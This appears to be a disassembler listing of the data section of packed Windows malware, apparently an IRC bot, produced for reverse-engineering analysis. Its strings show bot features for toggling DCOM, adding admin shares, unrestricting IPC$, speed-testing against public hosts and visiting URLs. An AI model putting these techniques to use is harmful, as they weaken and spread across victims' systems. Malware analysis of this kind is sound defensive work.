dword_43A770 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+91o
; sub_41A6EA+91o
aFailedToOpenDc db '- Failed to open DCOM registry key.',0
dword_43A7A0 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh
; DATA XREF: sub_41A3C6:loc_41A433o
dd 62617369h, 2E64656Ch, 0
dword_43A7C0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+66o
aDisableDcomFai db '- Disable DCOM failed.',0
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41A3C6+54o
; sub_41A6EA+54o
align 10h
dword_43A7F0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+2C3o
aNetworkSharesA db '- Network shares added.',0
aC_1 db '%c:\',0 ; DATA XREF: sub_41A6EA+230o
align 4
aC_2 db '%c$',0 ; DATA XREF: sub_41A6EA+219o
dword_43A820 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A889o
; sub_41A6EA:loc_41A95Ao
aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A848 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+198o
; sub_41A6EA+269o
aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0
dword_43A868 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A811o
aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0
dword_43A8A4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A7F3o
aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0
align 4
dword_43A8DC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+102o
aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0
align 4
dword_43A91C dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh
; DATA XREF: sub_41A6EA:loc_41A757o
dd 6C62616Eh, 2E6465h
dword_43A938 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+66o
aEnableDcomFail db '- Enable DCOM failed.',0
align 4
aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AA1E+E1o
db 'Host: %s',0Dh,0Ah
db 'Content-Length: %d',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
dword_43A990 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h
; DATA XREF: sub_41ABFB+1A7o
dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41ABFB+C4o
align 4
aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41ABFB+BDo
aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41ABFB+B6o
align 10h
aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41ABFB+AFo
align 10h
aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41ABFB+A8o
align 4
aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41ABFB+A1o
aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41ABFB+9Ao
align 4
aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41ABFB+93o
align 10h
aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41ABFB+8Co
align 10h
aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41ABFB+85o
align 10h
aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41ABFB+7Eo
align 10h
aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41ABFB+77o
align 10h
aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41ABFB+70o
align 4
aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41ABFB+69o
aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41ABFB+62o
aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41ABFB+5Bo
align 10h
aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41ABFB+54o
align 4
aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41ABFB+4Do
align 10h
aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41ABFB+46o
align 10h
aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41ABFB+3Fo
align 10h
aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41ABFB+38o
align 10h
aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41ABFB+31o
align 10h
aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41ABFB+2Ao
align 10h
aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41ABFB+23o
align 4
aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41ABFB+1Co
align 4
aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41ABFB+15o
dword_43AB9C dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah
; DATA XREF: sub_41AF8F+297o
dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h
dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
dd 74705502h, 2656D69h, 7325203Ah, 2Eh
dword_43AC78 dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AF8F+192o
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF8F:loc_41B0F3o
align 4
dword_43AC9C dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h
; DATA XREF: sub_41B243+A4o
dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h
dd 7325203Ah, 2Eh
off_43ACE0 dd offset loc_412F4E ; DATA XREF: sub_41B243:loc_41B2AFo
off_43ACE4 dd offset dword_4E414C ; DATA XREF: sub_41B243:loc_41B2A5o
dword_43ACE8 dd 6C616944h, 70752Dh ; DATA XREF: sub_41B243+5Bo
dword_43ACF0 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41B243+48o
unk_43AD00 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B4BBo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToConnec db ' Failed to connect to HTTP server.',0
align 10h
unk_43AD30 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B4B4o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aCouldNotOpenAC db ' Could not open a connection.',0
align 4
dword_43AD5C dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h
; DATA XREF: sub_41B302+1A0o
dd 4C525520h, 2Eh
unk_43AD78 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B495o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0
align 4
dword_43ADB4 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h
; DATA XREF: sub_41B302+18Co
dd 64657469h, 2Eh
dword_43ADD0 dd 2A2F2Ah ; DATA XREF: sub_41B302+3Bo
word_43ADD4 dw 4 ; DATA XREF: sub_41B55B+10r
align 4
dword_43ADD8 dd 6325h ; DATA XREF: .packed:0041B89Co
dword_43ADDC dd 0DFFh ; DATA XREF: .packed:0041B6EAo
dword_43ADE0 dd 51FFh ; DATA XREF: .packed:0041B6DFo
dword_43ADE4 dd 0EBFFh ; DATA XREF: .packed:0041B6D4o
dword_43ADE8 dd 201h ; DATA XREF: .packed:0041B6BFo
dword_43ADEC dd 20424652h, 2E333030h, 0A383030h, 2 dup(0) ; DATA XREF: .packed:0041B6ADo
dword_43AE00 dd 27F6228Ch ; DATA XREF: sub_41C2B8+4w sub_41C2C2r ...
align 10h
dword_43AE10 dd 173Fh ; DATA XREF: sub_41D055+Dr
dd 9875h, 9873h
off_43AE1C dd offset sub_41D124 ; DATA XREF: sub_41C164r
dd offset nullsub_2
dd offset nullsub_2
dword_43AE28 dd 1B3Fh ; DATA XREF: sub_41D19B+Dr
dword_43AE2C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41D61D+2o
; sub_41D626+2o
off_43AE40 dd offset sub_41C1A2 ; DATA XREF: sub_41E2C9+1Cr
dword_43AE44 dd 2 ; DATA XREF: sub_423D98+Er
; sub_423DD1+46r ...
dd 10h, 0
off_43AE50 dd offset off_43AE50 ; DATA XREF: sub_41F216+Do
; sub_41F216+69o ...
off_43AE54 dd offset off_43AE50 ; DATA XREF: sub_41F216:loc_41F296r
; sub_41F216+89w ...
dd offset dword_43AE68
dd offset dword_43AE68
dword_43AE60 dd 0FFFFFFFFh ; DATA XREF: sub_41F216r
; sub_41F35A:loc_41F3A7w
dd 0FFFFFFFFh
dword_43AE68 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: .packed:0043AE58o
; .packed:0043AE5Co
off_43CE70 dd offset off_43AE50 ; DATA XREF: sub_41F35A+15r
; sub_41F35A+20w ...
dword_43CE74 dd 1E0h ; DATA XREF: sub_41BBE2+185r
; sub_41BEF3:loc_41BF2Fr ...
off_43CE78 dd offset word_43CE82 ; DATA XREF: sub_41C0CE+23r
; sub_41C0CE:loc_41C12Fr ...
off_43CE7C dd offset word_43CE82 ; DATA XREF: sub_42686F+18r
db 2 dup(0)
word_43CE82 dw 20h ; DATA XREF: sub_424FF8+18r
; .packed:off_43CE78o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43D084 dd 1 ; DATA XREF: sub_41C0CE:loc_41C0D6r
; sub_41C0CE:loc_41C11Ar ...
byte_43D088 db 2Eh ; DATA XREF: sub_420DB0:loc_4210A4r
; sub_420DB0+311r ...
align 4
dd 1
off_43D090 dd offset aNull_0 ; DATA XREF: sub_41FF3F:loc_4202A3r
; sub_41FF3F+457r
; "(null)"
off_43D094 dd offset aNull ; DATA XREF: sub_41FF3F+259r
; "(null)"
byte_43D098 db 1 ; DATA XREF: sub_420749+E1r
db 2, 4, 8
align 10h
dword_43D0A0 dd 3A4h ; DATA XREF: sub_420749+2Fo
dword_43D0A4 dd 82798260h, 21h, 0 ; DATA XREF: sub_420749+11Dr
dword_43D0B0 dd 0DFA6h ; DATA XREF: sub_420749+C0r
align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43D190 dd 1 ; DATA XREF: sub_420749+3Co
; sub_420C7F+Co
dword_43D194 dd 16h ; DATA XREF: sub_420C7F:loc_420CB4r
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43D2F8 dd 0D2D0920h, 5Dh ; DATA XREF: sub_420C7F+19o
; sub_420DB0:loc_421317o
dword_43D300 dd 5Dh, 0 ; DATA XREF: sub_420DB0:loc_421207o
dword_43D308 dd 14h ; DATA XREF: sub_421EC4+2o
off_43D30C dd offset aExp ; DATA XREF: sub_421EC4:loc_421EE1r
; "exp"
dd 1Dh, 427858h, 1Ah, 42C60Ch, 1Bh, 427850h, 1Fh, 427848h
dd 13h, 427840h, 21h, 427838h, 0Eh, 427830h, 0Dh, 427828h
dd 0Fh, 427820h, 10h, 427818h, 5, 427810h, 1Eh, 42780Ch
dd 12h, 427808h, 20h, 427804h, 0Ch, 4277FCh, 0Bh, 4277F4h
dd 15h, 4277ECh, 1Ch, 4277E4h, 19h, 4277DCh, 11h, 4277D4h
dd 18h, 4277CCh, 16h, 4277C4h, 17h, 4277BCh, 22h, 4277B8h
dd 23h, 4277B4h, 24h, 4277B0h
dbl_43D3E0 dq 1.797693134862316e308 ; DATA XREF: sub_421BFF+B7r
; sub_421BFF:loc_421CE6r ...
dd 0
dd 0FFF80000h
dbl_43D3F0 dq 1.797693134862316e308 ; DATA XREF: sub_421BFF+92r
; sub_421BFF:loc_421CBEr ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_43D408 dt 2.3562723457267347066e313 ; DATA XREF: sub_4220AC+Dr
; sub_4220AC+1Fr
align 4
tbyte_43D414 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_4220AC+31r
align 10h
off_43D420 dd offset sub_422540 ; DATA XREF: sub_41D13C+Fw
; sub_41FF3F+3AAr
off_43D424 dd offset sub_4221D5 ; DATA XREF: sub_41D13C+5w
; sub_41FF3F+3E2r
off_43D428 dd offset sub_42223B ; DATA XREF: sub_41D13C+14w
; sub_420DB0+430r
off_43D42C dd offset sub_42217B ; DATA XREF: sub_41D13C+1Ew
; sub_41FF3F+3CBr
off_43D430 dd offset sub_422223 ; DATA XREF: sub_41D13C+28w
off_43D434 dd offset sub_422540 ; DATA XREF: sub_41D13C+32w
dd offset sub_424F1C
align 10h
dd offset sub_422DFC
off_43D444 dd offset sub_422DFC ; DATA XREF: sub_422E52+29r
dword_43D448 dd 0C0000005h ; DATA XREF: sub_423638+Ar
; sub_423638+11o ...
dword_43D44C dd 0Bh ; DATA XREF: sub_425D33+Ar
dd 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_43D4C0 dd 3 ; DATA XREF: sub_4234F7+58r
; sub_425C06+C8r
dword_43D4C4 dd 7 ; DATA XREF: sub_4234F7+5Er
; sub_425C06+CDr
dword_43D4C8 dd 0Ah ; DATA XREF: sub_423638+4r
; sub_425D33+4r
dword_43D4CC dd 8Ch ; DATA XREF: sub_4234F7+82r
; sub_4234F7+8Fw ...
dword_43D4D0 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F8E3:loc_41F964o
; sub_41FE2A:loc_41FEE7o
dword_43D4D8 dd 2 ; DATA XREF: sub_423DD1+Eo
; sub_423DD1+28r
off_43D4DC dd offset aR6002FloatingP ; DATA XREF: sub_423DD1+FCr
; sub_423DD1+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 427B74h, 9, 427B48h, 0Ah, 427B24h, 10h, 427AF8h
dd 11h, 427AC8h, 12h, 427AA4h, 13h, 427A78h, 18h, 427A40h
dd 19h, 427A18h, 1Ah, 4279E0h, 1Bh, 4279A8h, 1Ch, 427980h
dd 78h, 427970h, 79h, 427960h, 7Ah, 427950h, 0FCh, 4349ECh
dd 0FFh, 427940h
off_43D568 dd offset dword_4DC020 ; DATA XREF: sub_423DD1+1Bo
; sub_42413E+55o
align 10h
dd offset dword_4DC020
dd 101h
dword_43D578 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42413E+72o
dd 1000h, 0
dword_43D588 dd 3 dup(0) ; DATA XREF: sub_41FE2A+50o
; sub_420CE6+12o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D5A8 dd 3 dup(0) ; DATA XREF: sub_41FE2A+58o
; sub_420CE6:loc_420D04o
dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D5D8 dd 84h dup(0) ; DATA XREF: sub_42413E+9Bo
dword_43D7E8 dd 2 dup(0) ; DATA XREF: sub_42413E+69o
dword_43D7F0 dd 2694h ; DATA XREF: sub_421861+3r
; sub_4218B4+46r
align 8
dword_43D7F8 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_424CFCo
dword_43D810 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424D12o
dword_43D828 dd 2 dup(0) ; DATA XREF: sub_42600E+7o
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_43D988 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_42600E+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh
off_43DAE4 dd offset off_427CEC ; DATA XREF: .packed:00427EC4o
; .packed:00427FB0o
dd 0
a_?avexception@ db '.?AVexception@@',0
off_43DAFC dd offset off_427CEC ; DATA XREF: .packed:off_427D78o
; .packed:00427DB8o ...
dd 0
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_43DB1C dd offset off_427CEC ; DATA XREF: .packed:off_427DC0o
; .packed:00427E04o ...
dd 0
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_43DB3C dd offset off_427CEC ; DATA XREF: .packed:off_427E0Co
; .packed:00427E50o ...
dd 0
a_?avlength_err db '.?AVlength_error@std@@',0
align 10h
off_43DB60 dd offset off_427CEC ; DATA XREF: .packed:off_427E58o
; .packed:00427E94o
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_424F1C
align 10h
dword_43DB80 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o
byte_43DB88 db 0 ; DATA XREF: sub_40111D+62o
; sub_401221+24Do ...
align 10h
dword_43DB90 dd 0 ; DATA XREF: sub_401221+38Fo
; sub_401ACD+AECo ...
dd 5 dup(0)
dword_43DBA8 dd 0 ; DATA XREF: sub_401ACD+B48r
; sub_415C40+60r
dd 2D9h dup(0)
dword_43E710 dd 0 ; DATA XREF: sub_401ACD+5D8Cr
; sub_401ACD+5E61r ...
dd 7Fh dup(0)
dword_43E910 dd 0 ; DATA XREF: sub_40B3BA+41w
; sub_40B4F5+40w ...
dword_43E914 dd 0 ; DATA XREF: sub_40B3BA+47w
; sub_40B4F5+46w ...
dword_43E918 dd 0 ; DATA XREF: sub_40B3BA+52w
; sub_40B4F5+3Ar ...
dword_43E91C dd 0 ; DATA XREF: sub_40111D+Cr
; sub_4017ED+B9w ...
dword_43E920 dd 0 ; DATA XREF: sub_40B4F5+75r
; sub_40B6D6+2Aw ...
dword_43E924 dd 0 ; DATA XREF: sub_401221+3DEw
; sub_401221+456w ...
byte_43E928 db 0 ; DATA XREF: sub_4017ED+91o
; sub_401ACD+5CD7r ...
align 4
dd 1B89h dup(0)
dword_445750 dd 473Ch dup(0) ; DATA XREF: .packed:off_43492Co
db 0
byte_457441 db 3 dup(0) ; DATA XREF: .packed:off_43902Co
dd 0E306h dup(0)
dword_49005C dd 937Eh dup(0) ; DATA XREF: .packed:off_432948o
db 0
byte_4B4E55 db 3 dup(0) ; DATA XREF: .packed:off_43165Co
dd 0FBh dup(0)
db 0
byte_4B5245 db 3 dup(0) ; DATA XREF: .packed:off_438E98o
dd 5932h dup(0)
dword_4CB710 dd 0B50Eh ; DATA XREF: sub_40111D+FDw
; sub_40B3BA+13o ...
dword_4CB714 dd 1Bh ; DATA XREF: sub_401221+3Dw
; sub_401ACD:loc_404494r ...
dword_4CB718 dd 0 ; DATA XREF: sub_401221:loc_4016FFo
dword_4CB71C dd 20h dup(0) ; DATA XREF: sub_401221+495o
; sub_401221+52Fo ...
dword_4CB79C dd 10h dup(0) ; DATA XREF: sub_401221+4ABo
dword_4CB7DC dd 24h dup(0) ; DATA XREF: sub_401221+4C2o
dword_4CB86C dd 0 ; DATA XREF: sub_401221+4B6w
; sub_401221+546w ...
dword_4CB870 dd 0 ; DATA XREF: sub_401221+4D5w
align 10h
byte_4CB880 db 0 ; DATA XREF: sub_401955+28r
; sub_401955+30o
align 4
dword_4CB884 dd 0 ; DATA XREF: sub_401221+4E3w
; sub_401221+4FAr ...
dword_4CB888 dd 0 ; DATA XREF: sub_401221+49Aw
; sub_401ACD+8A2r
word_4CB88C dw 0 ; DATA XREF: sub_401ACD+7BAFo
; .packed:0040AFA9o ...
align 10h
dword_4CB890 dd 77C72C6Bh ; DATA XREF: sub_409909+4A7w
; sub_409909+4EBr
dword_4CB894 dd 77EBA994h ; DATA XREF: sub_409909+65w
; sub_419C09+166r
dword_4CB898 dd 7622A3F4h ; DATA XREF: sub_409909+80Bw
; sub_409909+880r ...
dword_4CB89C dd 71C45229h ; DATA XREF: sub_409909+9D8w
; sub_409909+A43r ...
dword_4CB8A0 dd 71C24870h ; DATA XREF: sub_409909+98Aw
; sub_409909+A13r ...
dword_4CB8A4 dd 77C71BB0h ; DATA XREF: sub_409909+48Dw
; sub_409909+4DBr
dword_4CB8A8 dd 77D4808Bh ; DATA XREF: sub_409909+213w
; sub_409909+234r ...
dword_4CB8AC dd 71C4502Ch ; DATA XREF: sub_409909+9CBw
; sub_409909+A3Br ...
dword_4CB8B0 dd 77DE801Bh ; DATA XREF: sub_409909+372w
; sub_409909+3C7r ...
dword_4CB8B4 dd 77DDACABh ; DATA XREF: sub_409909+40Fw
; sub_41AF8F+11Er
dword_4CB8B8 dd 77DE8075h ; DATA XREF: sub_409909+37Fw
; sub_409909+3CFr ...
dword_4CB8BC dd 77DD7496h ; DATA XREF: sub_409909+3C0w
; sub_4191DB+ADr
dword_4CB8C0 dd 71AB1B7Bh ; DATA XREF: sub_409909+55Aw
; sub_40FAD6+115r ...
dword_4CB8C4 dd 77E686CCh ; DATA XREF: sub_409909+72w
; sub_409909+D2r ...
dword_4CB8C8 dd 71C2498Bh ; DATA XREF: sub_409909+97Dw
; sub_409909+A06r ...
dword_4CB8CC dd 77DDAB2Fh ; DATA XREF: sub_409909+3A6w
; sub_409909+3E7r ...
dword_4CB8D0 dd 7620E8C3h ; DATA XREF: sub_409909+859w
; sub_409909+8ACr ...
dword_4CB8D4 dd 77DD23D7h ; DATA XREF: sub_409909+2A5w
; sub_409909+2F0r
dword_4CB8D8 dd 76214750h ; DATA XREF: sub_409909+84Cw
; sub_409909+8A4r ...
dword_4CB8DC dd 77E6D75Bh ; DATA XREF: sub_409909+B3w
dword_4CB8E0 dd 7620BD61h ; DATA XREF: sub_409909+866w
; sub_409909+8B4r ...
dword_4CB8E4 dd 71AB60C9h ; DATA XREF: sub_409909+54Dw
; sub_409909+6D0r ...
dword_4CB8E8 dd 77EBA6E9h ; DATA XREF: sub_409909+58w
; sub_409909+CAr ...
dword_4CB8EC dd 76D62A58h ; DATA XREF: sub_409909+934w
; sub_413E10+11Ar
dword_4CB8F0 dd 76F36EAAh ; DATA XREF: sub_401ACD:loc_403ECBr
; sub_409909+A95w ...
dword_4CB8F4 dd 77E802FCh ; DATA XREF: sub_409909+A6w
; sub_409909+F2r
dword_4CB8F8 dd 77C75455h ; DATA XREF: sub_409909+480w
; sub_409909+4D3r
dword_4CB8FC dd 71AB12A7h ; DATA XREF: sub_409909+5F6w
; sub_40C267+20r ...
dword_4CB900 dd 71C574FAh ; DATA XREF: sub_409909+9BEw
; sub_409909+A33r
dword_4CB904 dd 71AB1746h ; DATA XREF: sub_409909+5E9w
; sub_409909+754r ...
dword_4CB908 dd 71C21CA3h ; DATA XREF: sub_409909+A0Cw
dword_4CB90C dd 71B28D0Dh ; DATA XREF: sub_409909+B50w
; sub_40DC41+9Ar
dword_4CB910 dd 762211EFh ; DATA XREF: sub_409909+7FEw
; sub_409909+86Dr ...
dword_4CB914 dd 77D902E3h ; DATA XREF: sub_409909+1B3w
; sub_40B5B5+3Do ...
dword_4CB918 dd 71C2FA86h ; DATA XREF: sub_409909+997w
; sub_409909+A1Br ...
dword_4CB91C dd 77DE1291h ; DATA XREF: sub_409909+38Cw
; sub_409909+3D7r ...
dword_4CB920 dd 77E2C1B3h ; DATA XREF: sub_409909+399w
; sub_409909+3DFr ...
dword_4CB924 dd 73B81E3Bh ; DATA XREF: sub_409909+C85w
; sub_409909+C8Cr
dword_4CB928 dd 71ABF628h ; DATA XREF: sub_409909+6ACw
; sub_4111C0+D0r
dword_4CB92C dd 71AB1836h ; DATA XREF: sub_40111D+1Dr
; sub_40111D+23r ...
dword_4CB930 dd 77C72889h ; DATA XREF: sub_409909+4B4w
dword_4CB934 dd 71C453F8h ; DATA XREF: sub_409909+9E5w
; sub_409909+A4Br ...
dword_4CB938 dd 77DD5C55h ; DATA XREF: sub_401000+51r
; sub_409909+2B2w ...
dword_4CB93C dd 77E96645h ; DATA XREF: sub_409909+7Fw
; sub_409909+DAr ...
dword_4CB940 dd 77428B97h ; DATA XREF: sub_401ACD+5840r
; sub_401ACD+781Er ...
dword_4CB944 dd 71AB41DAh ; DATA XREF: sub_401221+8Cr
; sub_401ACD+5037r ...
dword_4CB948 dd 762059A3h ; DATA XREF: sub_409909+825w
